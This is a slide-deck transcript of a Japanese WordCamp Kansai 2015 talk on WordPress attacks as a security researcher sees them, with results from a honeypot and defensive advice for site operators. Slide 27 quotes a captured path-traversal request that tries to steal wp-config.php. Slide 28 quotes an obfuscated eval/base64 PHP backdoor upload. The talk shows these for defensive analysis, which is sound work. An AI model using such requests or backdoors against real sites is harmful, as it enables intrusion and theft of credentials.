Upgrade to Pro — share decks privately, control downloads, hide ads and more …

攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015

攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015

WordCamp Kansai 2015
2015/07/26

yoshinori matsumoto

July 27, 2015
Tweet

More Decks by yoshinori matsumoto

Other Decks in Technology

Transcript

  1. 攻撃者からみた
    WordPressセキュリティ
    松本 悦宜
    @ym405nm
    発表 2015/07/27
    加筆修正 2015/07/28

    View Slide

  2. 自己紹介
    • 松本 悦宜 (まつもと よしのり)
    • 神戸デジタル・ラボ
    セキュリティソリューション事業部
    • セキュリティ診断 / コンサルティング
    • 講演: OWASP AppSec APAC 2014, Hack In The Box Amsterdam
    HAXPO 2014, HTML5とか勉強会
    • 共著:WordPressプロフェッショナル養成読本(技術評論社)
    • 脆弱性報告: Welcart、MailPoet Plugin など
    @ym405nm

    View Slide

  3. 目次
    • 現状
    • 攻撃者について
    • 実際に攻撃されてみた
    • 傾向と対策
    • まとめ

    View Slide

  4. WordPress
    セキュリティの現状

    View Slide

  5. WordPress = 狙われる?
    熊本競輪でサイト改ざん - 原因はWPプラグイン「FancyBox」の脆弱性
    http://www.security-next.com/056249l

    View Slide

  6. 現状
    マルウェアが設置されているサイトのうち
    19% が WordPressという調査も

    View Slide

  7. 脆弱性の数
    昨年1年間に JVN に届けられている数は 17 件
    http://jvndb.jvn.jp/

    View Slide

  8. 脆弱性の数
    関連ソフトウェアも含めると 301 件
    ※例外が含まれていたり、JVNに届けられていないものもあります
    参考
    Drupal : 81件

    View Slide

  9. 攻撃者について

    View Slide

  10. 誰がやってるのか?
    • ハクティビスト
    • 政治的主張など、自分たちの主張を通すためにサイトを改ざんする
    • 改ざんしたものを目立つようにアピールする
    • マルウェア配布者
    • 難読化したスクリプトなどを仕込み訪問者にマルウェア感染させる
    • 標的型攻撃者グループ
    • 使用するマルウェアのホスティングとして使用する
    • 攻撃者と通信をし、他社への攻撃に利用される

    View Slide

  11. ハクティビストによる攻撃事例
    • よく見られる改ざんパターン
    HACKED
    BY
    A HACKER For Sale!!
    ① 攻撃者の名前や主張が
    表示される場合
    ② 偽ブランドサイトに
    書き換えられる場合

    View Slide

  12. (会場のみ)

    View Slide

  13. 標的型攻撃に利用される例
    踏み台サイト
    (WordPress)
    攻撃者 標的となる組織
    ①マルウエア設置
    ②標的型メール送信
    ③誘導

    View Slide

  14. なぜ狙うのか?

    View Slide

  15. なぜWordPressを狙うのか
    • 圧倒的なユーザ数
    • 行き届かないユーザ管理
    • 100人以上の編集者を抱えるサイト
    • 編集者、管理者の面識がほとんどないサイト
    • サードパーティ製ソフトウェアの普及
    • テーマやプラグイン
    • セキュリティレベルはそれぞれの開発者に依存する

    View Slide

  16. なぜWordPressを狙うのか
    • 古いバージョンは脆弱性がわかっている
    • 脆弱性情報から詳細が推測可能なものも
    • ソースコードから攻撃手法が推測可能
    • 攻撃手法が公開されているものもある

    View Slide

  17. WordPress ≠あぶない!
    • シェアが多いという点で狙われがちではあるが…
    • 本体のセキュリティに対する意識が高い
    • セキュリティ対策が増えてきた
    危ないというイメージよりも、
    安全に運用しようという意識が大事

    View Slide

  18. どのように?

    View Slide

  19. どのように狙われているのか
    • 攻撃者は弱そうな WordPress を狙っている
    • どこを狙えばいいのか
    • URLから特徴がわかるのか
    • 脆弱なソフトウェアを使用しているサイトを探す
    • 脆弱性情報を共有するメーリングリスト
    • 脆弱性売買サイト
    ※ただし WordPress 関連の脆弱性は
    無料で配布されていることが多い データを集めてみた

    View Slide

  20. 実際に攻撃されてみた

    View Slide

  21. 攻撃を集めるには
    WordPress WordPress
    攻撃者
    なぜ攻撃されない? なぜ攻撃される?

    View Slide

  22. 攻撃を集めるには
    WordPress
    攻撃者
    攻撃されるコンテンツとは?

    View Slide

  23. どのように狙われているのか
    WP
    BOT
    ログ解析
    コンテンツ投稿
    攻撃/スキャン
    収集
    WP WP
    Demo

    View Slide

  24. 収集した結果

    View Slide

  25. 最近多く見られる攻撃パターン
    • アカウントクラッキング
    • wp-config.php 情報の窃取
    • ファイルアップロード
    簡単に事例をみてみましょう!
    WordPressに対する攻撃
    テーマ・プラグインに対する攻撃

    View Slide

  26. アカウントクラッキング
    試行パスワード 回数
    [server-name]123456 96
    0 72
    [server-name]123 49
    [server-name][server-name] 48
    [server-name]000000 48
    [server-name]111 48
    [server-name]111111 48
    [server-name]1234 48
    [server-name]12345 48
    [server-name]12345678 48
    [server-name]123abc 48
    [server-name]222 48
    [server-name]222222 48
    [server-name]333 48
    [server-name]444 48
    [server-name]555 48
    [server-name]555555 48
    [server-name]666 48
    [server-name]666666 48
    ※ 2014年3月~5月計測

    View Slide

  27. wp-config.php 情報の窃取
    POST /wp-content/themes/dejavu/lib/scripts/dl-skin.php HTTP/1.1
    User-Agent: Mozilla/5.0 (X11; Linux amd64) AppleWebKit/534.36 (KHTML, like Gecko)
    Chrome/13.0.766.0 Safari/534.36
    Host: server
    Accept-Encoding: gzip
    Referer: http://server
    Accept-Charset: utf-8,windows-1251;q=0.7,*;q=0.6
    Accept-Language: en-us,en;q=0.8
    Keep-Alive: 300
    Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.4
    Content-Length: 60
    Content-Type: application/x-www-form-urlencoded
    _mysite_download_skin=..%2F..%2F..%2F..%2F..%2Fwp-config.php
    wp-config.php の内容を読み取ろうとしている
    (会場のみ)
    (会場のみ)

    View Slide

  28. ファイルアップロード
    Content-Disposition: form-data; name="Filedata"; filename="ifire.php"
    Content-Type: text/plain
    eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBk
    RxZn0f6q3Gcs+2Ys/abIVOPpfXmRTXvz5R4hjYd08eetcBFr0pQjoAYzFmIynUXP1twBDkLIVp
    9ku+c7Gx5lyEF*******sO0rvRimq14L4AP4oNUm42E/uiMCbyyu1txOSxZtXwSNTvMO1d
    1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ==")));
    ?>
    既知のファイルアップロード機能に認証がない脆弱性を使用して
    PHPファイルをアップロードしようとしている
    アップロードされたファイルは
    攻撃者の攻撃用ツールとして動作される

    View Slide

  29. ファイルアップロードって?
    画像
    攻撃用
    WordPress
    テーマ
    攻撃者によるアップロード方法
    外部からアクセス可能
    セキュリティ用語では「バックドア」と呼ばれ
    攻撃者とサーバの裏口/勝手口のように使われる

    View Slide

  30. (会場のみ)

    View Slide

  31. 悪用事例
    • ページを改ざんされる
    • データベースの情報を持っていかれる
    • 他のサーバ/サイトの攻撃の踏み台になる

    View Slide

  32. 運用者の対策

    View Slide

  33. 運用者の対策(鉄則編)
    • WordPress やテーマ・プラグインは最新版に保つ
    • アカウントの管理をしっかりする
    • パスワードは強度なものにする
    • テーマ / プラグインの選定をする
    • メンテナンス頻度
    • 脆弱性情報への対応頻度
    • 明らかに不要なものは無効→削除しておく

    View Slide

  34. 運用者の対策(応用編)
    • セキュリティ拡張機能(プラグイン)や、セキュ
    リティ製品の導入を検討する

    View Slide

  35. 運用者の対策
    • あわせて対策したい
    • サーバの選定
    • ログの確認(ログイン履歴、アクセスログ)
    • 脆弱性情報の収集

    View Slide

  36. まとめ

    View Slide

  37. まとめ
    • 今後もWordPressに対する攻撃は減らない
    • 攻撃者は既知のテーマ / プラグインの脆弱性を使用す
    ることが多い
    • アカウントの管理や、テーマ / プラグインの管理を
    しっかりとする
    安全なWordPressライフを!

    View Slide

  38. おまけ

    View Slide

  39. Follow me!
    会員サイトとして、
    適宜詳細データをお知らせする予定です
    画面イメージ(開発中のものです)
    今日ご紹介したデータは専用サイトにて公開予定
    • 現在β版として運用中です
    • 正式版は有料アカウントとしてサービスの提供予定です
    • 現在、レビュアーを募集中です。(主に開発者・セキュリティ関係者にお願いしています。レビュー期間中は無料でサービス
    をご使用いただけます)
    http://wp-portal.net

    View Slide

  40. ご清聴ありがとうございました
    Any Questions ?
    Mail : [email protected]
    Twitter : ym405nm
    Facebook : facebook.com/ym405nm

    View Slide